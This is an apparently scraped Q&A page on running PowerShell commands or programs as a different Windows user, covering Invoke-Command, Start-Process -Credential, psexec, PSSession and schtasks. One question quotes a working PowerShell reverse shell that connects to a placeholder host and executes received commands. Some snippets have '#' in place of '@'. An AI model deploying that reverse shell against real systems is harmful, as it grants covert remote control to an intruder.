I'm programatically launching a Google Cloud Compute Instance running Windows Server 2016 with a start up script.
The executable in the start up script requires to be launched as a specific user, so I'm trying to launch it with psexec to simulate said user:
C:/psexec.exe \\\\WIN-SERVER-2016 -u WIN-SERVER-2016\\customuser -p custompassword -accepteula -w "c:/app" cmd /c node index.js
c:/app/index.js contains a simple hello world, which should write to a file.
If I log in as any user and launch this exact command from cmd, the file is written. Launching from the startup script (supplied as windows-startup-script-cmd in the Google Cloud Compute Engine Instance) results in no file written.
What could be the solution? Is there a more efficient way to execute a start-up script as a specific user?
Looking at the concern , I would not recommend you to use PSEXEC .
NOrmally, we use PSExec in order to invoke a GUI in the remote system which PS doesn't support by native.
In your case, I would suggest you to run using the Invoke-Command
Something like this:
$username = 'WIN-SERVER-2016\customuser'
$password = "custompassword"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
$Script_block = {cmd /c node index.js}
Invoke-Command -ComputerName WIN-SERVER-2016 -Credential $cred -ScriptBlock $Script_block
This should also take it from the Metadata key if you are using windows-startup-script-cmd
Note: I have not considered the accepteula -w "c:/app" part. Please incorporate the placeholders accordingly.
Hope it helps...!!!
Related
So I have automation that logs into a Windows Server 2019 machine as one user, but then needs to run a command (Invoke-AdminCommand is application specific, not a built-in Windows cmdlet) as an admin user (and I do not want to add the logged in user as an Admin). I've followed answers from here (if you think this is a duplicate question) and none have worked. In the script I do a "whoami" to be sure the session is the correct user, and it is. But the command returns an application specific error stating the user does not have the correct permissions. If I RDP into the same machine as the admin user and run the same command through a Powershell CLI - it works fine.
$username = "domain\adminUser"
$password = "**********" | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password
$s = New-PSSession -credential $cred
$sc = {
whoami
Invoke-AdminCommand -Register -Verbose
}
Invoke-Command -Session $s -Scriptblock $sc
Remove-PSSession $s
You may be hitting the double-hop problem. You are remoting to another server to run another command which itself requires authentication. If you can't lean on CredSSP (security risk) or proper account delegation (potentially high overhead in effort to maintain delegations at volume but this is the correct way to go about it).
Note: Basic auth will also work around this issue but I highly highly highly do not recommend using basic auth without at least setting up WinRM over SSL and removing non-HTTPS WinRM listeners.
Whether you are using Kerberos (without proper delegation or CredSSP) or NTLM (at all as NTLM cannot forward tokens) as the authentication scheme you can work around this by passing the credential information into Invoke-Command and building the credential in that script block, and using Start-Process to start it as a different user. Note that if you needed to elevate for UAC, the code would be different and this code will only work when you don't need UAC elevation:
# We will create the SecureString inside the Invoke-Command block
$password = "********"
# Use of a Dictionary instead of positional arguments and `param` in the block
# is a little trick you can use here.
Invoke-Command -Session $s -ArgumentList #{ Username = $username; Password = $password } {
$cred =
[PSCredential]::new($args.Username, ( $args.Password | ConvertTo-SecureString -AsPlainText -Force ))
# Placeholder for next part
}
So this is the boilerplate for what you want. You send the credentials to the remote server and build it there. How you execute this at # Placeholder for next part will depend on what exactly you are running:
External Command (executable)
Use Start-Process to run the program as the other user
Start-Process -Wait -Credential $cred program.exe -ArgumentList "arguments to the program here"
Any cmdlet which accepts a -Credential parameter or any command which accepts username and password arguments
Pass the credential argument directly to the cmdlet/function, or pass $args.Username and $args.Password to an external command which has username/password parameters directly. The below however exemplifies using this with a cmdlet and the -Credential parameter.
# Note that some cmdlets don't take a credential for whatever reason
# and may have -Username and -Password arguments instead.
Invoke-AdminCommand -Credential $cred -Register -Verbose
Any Function or Cmdlet which does not accept a -Credential parameter or username/password arguments
This is similar to the first example, but this example specifically targets running a bit of PowerShell code as another user for the code you want.
# This can be invoked without splatting but am using splatting for readability
$spArgs = #{
Credential = $cred
FilePath = 'powershell.exe' # You can use `pwsh.exe` for PS Core if necessary
ArgumentList = "-Command ""exampleProgram.exe -username $($args.Username) -password $($args.Password)"""
Wait = $true
NoNewWindow = $true
}
Start-Process powershell.exe
I have a remote windows machine sending me a shell to a linux machine using the following command:
$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
$stream = $client.GetStream();
[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
From my linux command line i can enter commands using powershell on the remote windows machine. My goal is to change the shell to another user or run a script as another user.
I have attempted to use the following command to login as a new user:
runas /user:domaint\admin cmd.exe
however , Unfortunately the shell is not fully interactive and when it prompts for a password it quickly closes the prompt and awaits a new command.
is their anyway to force powershell to wait my response? or a way to get a fully interactive shell?
In a further attempt i have written the following script to execute my script as the other user however the 'test.ps1' does not execute:
$username = 'domain\user'
$password = 'pa$$word'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process test.ps1 -Credential $credential
I am aware this method is insecure however as i dont have the option to enter credentials i may need to store them in a script. ( this is for fun and challenge purposes).
Any advice on how i can fix my script to execute another script, or gain a fully interactive powershell terminal?
Thanks
you cannot create a fully interactive remote session using PowerShell and User interactive sessions are not best way to automate as well. You can use PowerShell core which is supported in linux. Then you can do remoting and Invoke-Command as different user. Read more about PowerShell core here and on linux here.
If you really need interactive session, then I recommend using psexec.exe with -i option which creates an interactive session.
psexec \\server -i powershell -file c:\test.ps1
This is something incredibly simple, but I just can't get anything to work. I want to run a block code in a powershell script under a specific user. The keyword is locally and I'm using powershell 2.0.
Invoke-Command seems to require a remote host? I run the following and the error message that I see seems to suggest as much:
$strScriptUser = "DOMAIN\USER"
$strPass = "PASSWERD"
$PSS = ConvertTo-SecureString $strPass -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential $strScriptUser,$PSS
Invoke-Command -ComputerName "." -scriptblock {
write-output "HI!"
} -Credential $cred
Start-Job with -ScriptBlock isn't supported with powershell 2.0? I run the following and the error message that I see seems to suggest as much:
$strScriptUser = "DOMAIN\USER"
$strPass = "PASSWERD"
$PSS = ConvertTo-SecureString $strPass -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential $strScriptUser,$PSS
Start-Job -ScriptBlock {
write-output "HI!"
} -Credential $cred
Am I doing something wrong, or is there an alternative way?
Added: Here is what I'm trying to do in the first place. I'm making a scheduled task that runs when a user logs into/unlocks a terminal that writes logon information to a file. The scheduled task runs as the local user in order to get at the username, profile, etc. information. The logon information is then written to a log file using a different user account, which is the only account that can modify the file. To deter access to the logon credentials in the script I convert the script to an EXE using PS2EXE.
Here is another way.
# Get the other user's credentials
$credential = Get-Credential
# Execute a scriptblock as another user
$commands = #'
$env:username
# ... more commands ...
'#
Start-Process -FilePath Powershell -LoadUserProfile -Credential $credential -ArgumentList '-Command', $commands
# Execute a file as another user
$script = '.\path\name.ps1'
Start-Process -FilePath Powershell -LoadUserProfile -Credential $credential -ArgumentList '-File', $script
With the -LoadUserProfile switch, this has the added benefit of creating the user's profile if it does not already exist.
Another approach is impersonation, it is good option if you are not willing to enable remoting.
Check this and this out.
You should just put your code between
Push-ImpersonationContext $credential
and
Pop-ImpersonationContext
It would help to see the error messages you're not showing us, but I think the answer to your question is to use PowerShell Remoting as you tried with Invoke-Command. The computer name . is fine as is localhost but you do have to have remoting enabled on your machine to do it.
To enable remoting, run Enable-PSRemoting within powershell, or run winrm quickconfig in a regular command prompt.
If you already have remoting enabled, then you might be trying to do the remoting with a non-administrative user. If that's the case, take a look at the output of Get-PSSessionConfiguration. You'll get a list of endpoints and the permissions that are applied.
The endpoint you're connecting to by default is called Microsoft.Powershell and you could change the permissions with Set-PSSessionConfiguration (be sure to use the -ShowSecurityDescriptorUI parameter unless you want to mess with SDDL).
But instead of doing that, there should already be a group given access called BUILTIN\Remote Management Users which you can add your limited user to.
If none of this helps, give more details and error messages.
Edit
After seeing the explanation of what you're ultimately trying to accomplish, I have another suggestion for you.
Your existing scheduled task writes the information to a known location.
A different scheduled task running under the privileged user account picks up that information and puts it into the file that the limited user cannot access.
Bonus: start the second task from the first task.
This could be a quick compromise to do what you want without remoting and without exposing the credentials of the privileged user.
Issues with the current approach:
The major problem I have with your original idea is that you're going to need to embed the credentials into the script, so the limited user will have access to the credentials of the account that can modify the file anyway.
Ideally:
You would have a web service that you could invoke with your limited-user powershell script in which you can only give it the login information and not get anything back. So you'd hit a URL and do a POST or whatever with the data that you want to log, but that user can't ever retrieve any info. It might be a bit beyond what you're willing to do for this.
From my script I want to run some command in remote Windows box. So I googled a little and seems the most popular and somehow standard way to do that is to use PowerShell's Invoke-Command cmdlet which seems to use the same protocol as winrm and winrs. So, bellow are commands I've tried to call from my script (actually I've tried lots of other their modifications as well, but IMO these are enough to illustrate the problem):
PowerShell -Command "$encpass=ConvertTo-SecureString -AsPlainText mypass -Force;$cred = New-Object System.Management.Automation.PSCredential -ArgumentList myuser,$encpass; Invoke-Command -ComputerName REMOTE_COMPUTER_NAME -Credential $cred -ScriptBlock {<fullcommand>};"
PowerShell -Command "$encpass=ConvertTo-SecureString -AsPlainText mypass -Force;$cred = New-Object System.Management.Automation.PSCredential -ArgumentList myuser,$encpass; Invoke-Command -ComputerName REMOTE_COMPUTER_NAME -Credential $cred -ScriptBlock {Start-Process -FilePath <fullexepath> -ArgumentList <arguments> -Wait -NoNewWindow};"
PowerShell -Command "$encpass=ConvertTo-SecureString -AsPlainText mypass -Force;$cred = New-Object System.Management.Automation.PSCredential -ArgumentList myuser,$encpass;$session=new-PSSession -ComputerName "REMOTE_COMPUTER_NAME" -Credential $cred; Invoke-Command -Session $session -ScriptBlock {<fullcommand>};"
NOTE: The script is written in perl, but IMO here the language of the script doesn't matter, so you can suppose that I call the command from batch script, just note, that as commands should run from a script they should not require any interactive actions.
So, I have several problems with these commands, and need help to figure them out. Here they are:
Can't run processes of type configure and run daemon. Namely if I want to run configure_server.pl on remote box (<fullcommand> = "configure_server.pl <arguments>"), which should do some stuff, then run server.exe, it doesn't work, because as soon as configure_server.pl is done, full remote job is being killed including the server.exe which supposed to run as a daemon. (applies to points 1,2,3)
Get wrapped (length of each line is less or equal than 80 chars) standard output and standard error. (applies to point 1,3)
Don't get standard output and standard error. (applies to point 2)
Whew this is a tough one, your kind of all over the place so if I miss what your trying to do completely let me know.
1 . Stop trying to go the remote route. I know it seems like a great idea, but it's not. The only way you can get the process to persist is if you keep the powershell window up on the host computer. As you've probably noticed, you can create processes fine, but they're children of your powershell.exe, and are hosted by the wsmprovhost.exe process on the client computer. Once the parent is gone, all the children are killed
To fix this I suggest using a command line function : Schtasks.exe
schtasks.exe /create /sc ONCE /tn $taskName /tr $command /s $serverName /u $userName /p $pass /ru $userName /rp $pass /st $startTime
This command is going to create a scheduled task to run once and then remove itself after. It even takes computer name, so no remote-access required. You can also do a schtasks.exe /query and check the "Status" for running before you do a schtasks.exe /delete too.
2 . Use the ` (backtick) to specify carry execution to the next line in powershell
3 . I get standard output and error with this function, sometimes not output when executed in a big script, but can always use $? to capture error.
Note: You cannot pass in PSCredentials to this command. I suggest making a GUI that just prompts for userName and and password, without converting to secure string. I try to stay away from remoting in my scripts, since it always just makes everything so slow. Sometimes you do not have a choice, but in this case I believe you do.
I use the following command to run setup_server.exe on remote Windows box:
powershell -command "$encpass=convertto-securestring -asplaintext RPASSWORD -force;$cred = New-Object System.Management.Automation.PSCredential -ArgumentList RUSER,$encpass; invoke-command -computername RCOMPUTERNAME -scriptblock {setup_server.exe} -credential $cred;"
setup_server.exe's task is to create some configuration files and start my_server.exe (some daemon process), then it finishes. And I want my_server.exe to keep running after setup_server.exe is finished.
So when I do it via CMD on local box (i.e. just run setup_server.exe from CMD) it works, but when I do it via powershell on remote host it doesn't work. Namely the my_server.exe gets started, but right after setup_server.exe is closed the server also gets closed(killed).
So the question is following:
Which powershell flags/cmdlets should I use to make the described scenario to work as in local mode?
NOTE: I want synchronously get output of setup_server.exe, so running remote command with -AsJob flag, probably wouldn't work for me, though I even don't know if it will keep the server alive after setup_server.exe's end.
The way to keep the remote PowerShell session running after the command has finished is to use a PSSession e.g.:
$s = new-PSSession computername
Invoke-Command -session $s { ..script.. }
... do other stuff, remote powershell.exe continues to run
Remove-PSSession $s # when you're done with the remote session
Generally though exes should run independently from the app that launched them.
Why are you using Invoke-Command. If you want a persistent Session, use Enter-PSSession.
$s = New-PSSession -Computername "Computername";
Enter-PSSession -Session $s;
setup_server.exe
# Once you are finnished
Exit-PSSession
With 'Enter-PSSession' you are not just Invoking some Command on the Server, you are directly logged-in like you probably know from SSH.
If you want your powershell session to keep running because you are running an exe, try using the -InDisconnectedSession switch. From what I understand, it will run the executable on the remote machine in a session that isn't actually connected to your computer. In essence, your computer will not destroy the session, when it disconnects, allowing the exe to continue to run.
invoke-command -computername RCOMPUTERNAME -scriptblock {start-process setup_server.exe} -InDisconnectedSession
If you need to do this on multiple computers. Setup an array of all the computer names.
Note: I don't believe this works with sessions that are already created.
In order to keep a powershell code running on the session exit it should be a process. And the windows way to keep the process is running a .exe or a windows service.
To keep a Powershell shell open after executing a command, I use the -NoExit switch, e.g. this script starts a remote interactive PS session on servername with user administrator
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit
-Command "Enter-PSSession -ComputerName servername -Credential administrator"
http://powershell-guru.com/powershell-tip-13-prevent-powershell-from-exiting-once-script-finished/